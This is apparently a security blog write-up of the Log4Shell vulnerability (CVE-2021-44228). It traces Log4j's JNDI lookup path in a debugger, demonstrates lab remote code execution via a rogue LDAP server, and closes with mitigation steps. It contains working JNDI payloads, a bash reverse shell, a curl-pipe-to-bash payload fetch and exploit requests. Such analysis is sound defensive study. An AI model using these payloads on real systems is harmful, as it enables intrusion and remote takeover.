Introduction
This article presents a widespread critical issue that affects many Java applications. Specifically, as per CVE-2021-44228, Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. In detail, Log4j provides a ‘Java Naming and Directory Interface'(JNDI) functionality used to retrieve variables and keys from JNDI resources using the jndiLookup class. However, this functionality may expose Web applications into a critical situation which provokes the potential of remote command execution. This vulnerability resides in the way the Log4j parser handles special crafted log messages. As an example, the following payload format can be used in order to trigger the JNDI remote class loader into fetching and executing malicious commands from the context of the vulnerable Web service through a loaded serialized object
${jndi:ldap://<host>:<port>/<path>}
The following table is showing the impacted versions of the log4j library as per CVE, as well as the recommended versions that mitigate these issues.
CVE |
Impacted Versions |
Recommended Versions |
CVE-2021-44228 |
>=2.0-beta9 through 2.12.1 |
Log4j 2.12.3 (java 7) |
>=2.13.0 through 2.15.0 |
||
|
|
|
CVE-2021-45046 |
>=2.0-beta9 through 2.12.1 |
Log4j 2.12.2 (java 7) |
>=2.13.0 through 2.15.0 |
||
|
|
|
CVE-2021-45105 |
>=2.0-alpha1 through 2.16.0 |
Log4j 2.12.3 (java 7) |
|
|
|
CVE-2021-4104 |
>=Log4j 1.2 |
Log4j 1.x – No patch due to EOL |
|
|
|
The Identification Phase
The identification phase of this vulnerability is considered a time-consuming process as the log4j library can be found in many applications and third-party libraries across an organization. So, a crucial point is to determine the scope of the applications and the dependent services that are using the Log4j library.
A good start to detect and handle the problem is by using internal and external vulnerability scanning tools (e.g., Tenable, Rapid7, Qualys, WhiteSource, etc.).
Another interesting way to detect this issue is to use EDR tools to scan for JAR files (e.g., log4j-core or log4j-api), class files (e.g., JndiLookup.class), or process execution events associated with Log4j. Moreover, regarding the versions of each library, and, in every development lifecycle, no matter the development methodology and approach, there are some tools that must be considered valuable to use before the release and deployment actions taking place. These tools are, OWASP Dependency Check and OWASP Dependency Track which can detect the vulnerable libraries used in early phases of the development process.
Furthermore, application penetration tests could be executed through the use of the BurpSuite professional tool, that has specific extenders which can be downloaded and used in order to identify the vulnerability. Specifically, two of these currently available extenders are the following
- Log4Shell scanner
- ActiveScan++ v1.0.23
Also, a crucial point to the identification process is to regularly review SIEM logs, endpoint logs, or network traffic to identify matching patterns of potential exploitation attempts.
The root cause analysis
Now, let’s dive a bit more into the source code in order to identify the problem. For testing purposes, the BurpSuite Collaborator will be used.
The VulnController class shown below implements a REST service using the Spring Boot framework. Moreover, this dummy service only logs the user input and nothing more. Actually, we don’t need more than this dummy functionality in order to prove the existence of this vulnerability. Specifically, for this demonstration, the libraries log4j-core version 2.11.1 and log4j-api version 2.11.1 are used. The logging-log4j2 vulnerable application can be downloaded from github.
package com.xen0vas;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class VulnController {
private static Logger log = LogManager.getLogger(VulnController.class.getName());
@RequestMapping(value = “/lol”, method = RequestMethod.POST)
public String main(@RequestBody String vuln) {
log.error(“Hello from Log4j2 – vuln : {} “, () -> vuln);
return “Welcome”;
}
}
The log4j JNDI issue can be leveraged for example when using the logger.error() function with a message parameter that includes a JNDI URL (jndi:dns://, jndi:ldap://), or any of the following JNDI interfaces
- rmi
- nis
- iiop
- corba
- nds
- http
As said before, the vuln variable will be manipulated by the malicious user and the provided payload will be as follows
${jndi:dns://rhcg09vzdou7hcw03nf390vtfkla9z.burpcollaborator.net}
Now let’s take a look at the code to see how it works. First, we will start the debugger in eclipse IDE and we will initiate the following post request
POST /lol HTTP/1.1
Host: 192.168.56.12:8080
User-Agent: curl/7.77.0
Accept: */*
Content-type:application/json
Content-Length: 84
Connection: close
{
“vuln”:”${jndi:dns://rhcg09vzdou7hcw03nf390vtfkla9z.burpcollaborator.net}”
}
When the debugger executes, after hitting the first breakpoint at log.error() function, at the AbstractLogger class, which is the base implementation of a Logger, the error() function is called
Then, at the same class, the logIfEnabled() function will be called, and then the logMessage() function.
At the logMessage() function, the MessageFactory class will be used in order to create a new message. Through the MessageFactory class, the newMessage() function will be called, which creates a new parameterized message. A new parameterized message will be created using the ParameterizedMessage() function which contains the arguments converted to String.
Next, the processLogEvent() function from the LoggerConfig class will be called. Then a few calls later the tryCallAppender() function from the AppenderControl class will be called, which then calls the append() method from the AbstractOutputStreamAppender class
Afterwards, the tryAppend() function will be called.
From there, the directEncodeEvent() function will be called, which then calls the getLayout().encode() method, that encodes the specified source object to binary representation and writes the result to the specified destination.
The encode() method creates a new StringBuilder Object with the specific pattern layout
Afterwards, from the MessagePatternConvert class, the format() method is called, which is used to formalize the URL pattern. Then, the getStrSubstitutor().replace() method is called, which is used to replace all the occurrences of variables with their matching values from the resolver using the given source string as a template.
Later on, from the subsitute() method at StrSubstitutor class the resolveVariable() method will be called, which is the i method that resolves the value of a variable. At this time, the variables that will be identified can be any of the following:
- java
- date
- marker
- ctx,
- lower
- upper
- jndi
- main
- jvmrunargs
- sys
- env
- log4j
Later on, from the subsitute() method at StrSubstitutor class the resolveVariable() method will be called, which is the i method that resolves the value of a variable. At this time, the variables that will be identified can be any of the following:
- java
- date
- marker
- ctx,
- lower
- upper
- jndi
- main
- jvmrunargs
- sys
- env
- log4j
Afterwards, from the lookup() method at Interpolator class, the specified variable will be resolved. This implementation will try to extract a variable prefix from the given variable name (the first colon (‘:’) is used as prefix separator). It will then pass the name of the variable with the prefix stripped to the lookup object registered for this prefix. At this time, the variable is ‘jndi’.
Then, from the JndiLookup class, the lookup() method will be called, which used to look up the value of the JNDI resource. This is done by further using the lookup() method from the JndiManager class.
From the JndiLookup class, the convertJndiName() will be called, which converts the given JNDI name to the actual JNDI name to use. The default implementation applies the java:comp/env/ prefix.
At last, from the InitialContext class the getURLOrDefaultInitCtx() method will be called, which retrieves a context for resolving the String name. If the name argument is a URL string, it will attempt to create a request for it.
Then, at the Burp Collaborator client window, we will see the DNS requests that depict the issue.
At this point we can move further to perform more advanced attacks such as remote command execution using a rogue LDAP server.
Leveraging the Log4Shell vulnerability to get Remote Code Execution
At this section, the Log4Shell vulnerability will be analyzed in greater depth, in order to show how to get remote code execution on the target machine. Additionally, the communication with the rogue LDAP server will be explained and analyzed as well. Furthermore, the rogue LDAP server along with instructions on how to setup and exploit the vulnerability can be found on Twelvesec’s GitHub.
Initially the log4j attack follows the steps below
- A potential intruder performs a JNDI lookup in a header or in a body parameter that is about to be logged.
- Then the string is passed to log4j for logging.
- log4j interpolates the string and queries the malicious LDAP server.
- The LDAP server responds with directory information that contains the malicious java class.
- Java deserializes the malicious java class and executes it.
Additionally, and assuming we have followed all the initial steps explained above, we can now use a .html file named index.html, which is located at the html server listening on port 8085 that contains our malicious command payload. The index.html file contains the following payload.
/bin/bash -c “/bin/bash -i >& /dev/tcp/192.168.56.1/8082 0>&1” &
So, when the script above executes, it opens a connection back to the attacking machine at port 8082. But before that, we need to connect to the attacking machine and deliver the payload. Therefore, the following payload will be used as seen below:
$(curl 192.168.56.1:8085|bash)
The main concept here is that the above payload will be sent to the LDAP server in Base64 encoded format, and then it will be decoded and constructed in an object form (.class), which it will be finally loaded to the web service through the Log4j JNDI functionality. Further explanation about the rogue LDAP Server functionality is provided a few lines below.
At this example the vulnerable web service runs at http://192.168.56.12:8080/lol. Specifically, the IP address 192.168.56.12 represents the vulnerable machine, while the IP address 192.168.56.1 represents the attacking machine. The following POST request will be used through the curl command line tool in order to trigger the vulnerability at the REST service path /lol, which logs the String variable vuln.
curl -s -X POST http://192.168.56.12:8080/lol -H “Content-type:application/json” -d “{\”vuln\”:\”\${jndi:ldap://192.168.56.1:6389/JChjdXJsIDE5Mi4xNjguNTYuMTo4MDg1fGJhc2gp}\”}”
Afterwards, the malicious object will be loaded and executed inside the context of the web service through the vulnerable Log4j library, thus opening a remote connection to the attacking machine.
At this point we will dig a bit deeper into the code to see how the communication with the rogue LDAP server takes place. Previously, we saw the code execution flow in case the JNDI interface jndi:dns:// is used. At this point we will see how the communication with a rogue LDAP server in case the JNDI interface jndi:ldap:// is used. First, we will start our LDAP and HTTP servers as seen below
Furthermore, running the curl command line tool with the payload previously described, we will send the following POST request to the vulnerable web service
POST /lol HTTP/1.1
Host: 192.168.56.12:8080
User-Agent: curl/7.77.0
Accept: */*
Content-type:application/json
Content-Length: 84
Connection: close
{
“vuln”:”${jndi:ldap://192.168.56.1:6389/JChjdXJsIDE5Mi4xNjguNTYuMTo4MDg1fGJhc2gp}”
}
The execution flow will be the same as previously described, possible exception is in the case that the jndi:ldap:// interface is used, then the lookup() method in ldapURLContext class will be called.
Later on, from the LdapURL class, the hasQueryComponents() method is called, which checks if the URL has query components. Then, if the URL does not contain any query components the lookup() function will be called from the GenericURLContext abstract class.
Then, the getRootURLContext() method will be called with the provided LDAP URL, which will be used afterwards with the lookup() function which is used to retrieve the name object. From the server perspective, a search process will be invoked to retrieve the search request before returning to the client.
Then, the execution flow will be directed through the sendResult() function at BasicController class. There, the Entry class will be used, which provides a data structure for holding information about an LDAP entry. This information is related with the distinguished name and other attributes.
From the CommandTemplate class constructor, the generate() function will be called and will be used to create the malicious class.
After returning to the caller function sendResult(), the cache() function will be called in order to set the class name and the bytes inside the cache memory. There, the newly created class will be located and then the handleClassRequest() function will be invoked, which is used to deliver the class byte stream towards the client application. This is achieved using several functions the HttpExchange class which is used for building and sending the response.
Afterwards, the newly created object from the LDAP server will be served back to the vulnerable web service after the call to the getRemainingName() method.
Finally, the flushBuffer() method is called from the OutputStreamManager class, where the WriteToDestination() method is then called with the provided buf argument that contains the data returned from the LDAP server.
The requested object has been captured using the wireshark network sniffing tool. Also, at the screenshot below, the serialized object is served through the IP address 192.168.56.1 and port 1337.
The Mitigation Phase
This vulnerability has been successfully tested and exploited using java version 8u51. It is worth to mention that the exploit could not be triggered using java versions 8u121 and 8u251 respectfully. Nevertheless, other java versions could allow the exploitation of this vulnerability.
A quick way to resolve this issue is to check if the version of Log4j supports the execution of the JVM with the following flag, in order to disable the lookup functionality at the remote server.
JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true
The above solution should apply to versions 2.10.0 through 2.15.0. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath as follows
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
The official remediation was released from Apache on December 10, 2021. Thus, it was reported that, regarding the java 8 clients, the CVE-2021-44228 vulnerability had been resolved within Log4j2 version 2.15.0. The 2.15.0 version essentially disabled the message lookup substitution, thus enabled the log4j2.formatMsgNoLookups functionality by default. Nevertheless, the 2.15.0 version is resolving only the issue described in CVE-2021-44228. Regarding the more recent CVE-2021-45046 and CVE-2021-45105, a new version has been released 2.17.0 that completes the mitigation of this issue. Also, regarding the java 7 clients, as of December 14, 2021, Apache released Log4j version 2.12.3, addressing mitigations for both CVE-2021-44228 and CVE-2021-45046 and CVE-2021-45105. As for the newest CVE-2021-4104, the affected Apache Log4j 1.2 version reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.
Hopefully, the following JDK versions are protecting against the LDAP attack vector through the setting
com.sun.jndi.ldap.object.trustURLCodebase=false:
- 6u211
- 7u201
- 8u191
- 11.0.1
The following code snippet shows how this setting can be implemented
package com.xen0vas;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class HelloController {
private static Logger log = LogManager.getLogger(HelloController.class.getName());
@RequestMapping(value = “/lol”, method = RequestMethod.POST)
public String main(@RequestBody String vuln) {
System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”, “false”);
log.debug(“Hello from Log4j2 – vuln : {} “, () -> vuln);
return “Welcome”;
}
}
Conclusion
In summary, the Log4j library is used very often, for logging purposes in the java world, thus the attack surface is large enough and many applications are affected. A controllable and well organized effort should be applied to provide perimeter security, a well-established patch management process and more comprehensive software development practices that incorporate security by design.